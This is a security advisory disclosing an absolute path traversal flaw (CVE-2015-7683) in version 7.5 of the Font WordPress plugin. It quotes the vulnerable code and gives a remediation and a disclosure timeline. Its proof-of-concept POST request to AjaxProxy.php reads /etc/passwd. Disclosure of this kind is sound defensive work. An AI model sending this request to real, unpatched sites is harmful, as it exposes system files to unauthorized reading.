Details

Software: Font
Version: 7.5
Homepage: https://wordpress.org/plugins/font/
CVE: CVE-2015-7683 (Pending)
CVSS: 6.3 (Medium; AV:N/AC:M/Au:S/C:C/I:N/A:N)
CWE: CWE-22

Description

An absolute path traversal vulnerability in Font 7.5 allows WordPress admins read access to system files such as /etc/passwd. Font is a WordPress plugin with over 40,000 active installs.

Vulnerability

The vulnerability is due to the unsanitized POST parameter 'url' being passed to file_get_contents() via file_get_contents2().

From font/Font.php:
139: $contents = $this->file_get_contents2($_POST['url'], array_merge($dataArr, $serializedArr));
. . .
515: function file_get_contents2($src, $postData = false) {
. . .
550: $fileContents = @file_get_contents($src, false, $context);

Proof of Concept

URL: http://localhost/wordpress/wp-content/plugins/font/AjaxProxy.php

POST data:
url=/etc/passwd&data%5Bblogurl%5D=http%3A%2F%2Flocalhost%2Fwordpress&data%5Bversion%5D=7.5&format=json&action=cross_domain_request

Remediation

Upgrade the plugin to version 7.5.1 or higher.

Timeline

2015-09-29: Discovered
2015-09-30: Contacted vendor via plugin support form
2015-10-01: Reported vulnerability to wordpress.org
2015-10-02: CVE-2015-7683 assigned
2015-10-04: Vendor releases version 7.5.1 - confirmed fixed
2015-10-12: Public Disclosure

References

[1] https://cwe.mitre.org/data/definitions/22.html

Discovered by

David Moore @grajagandev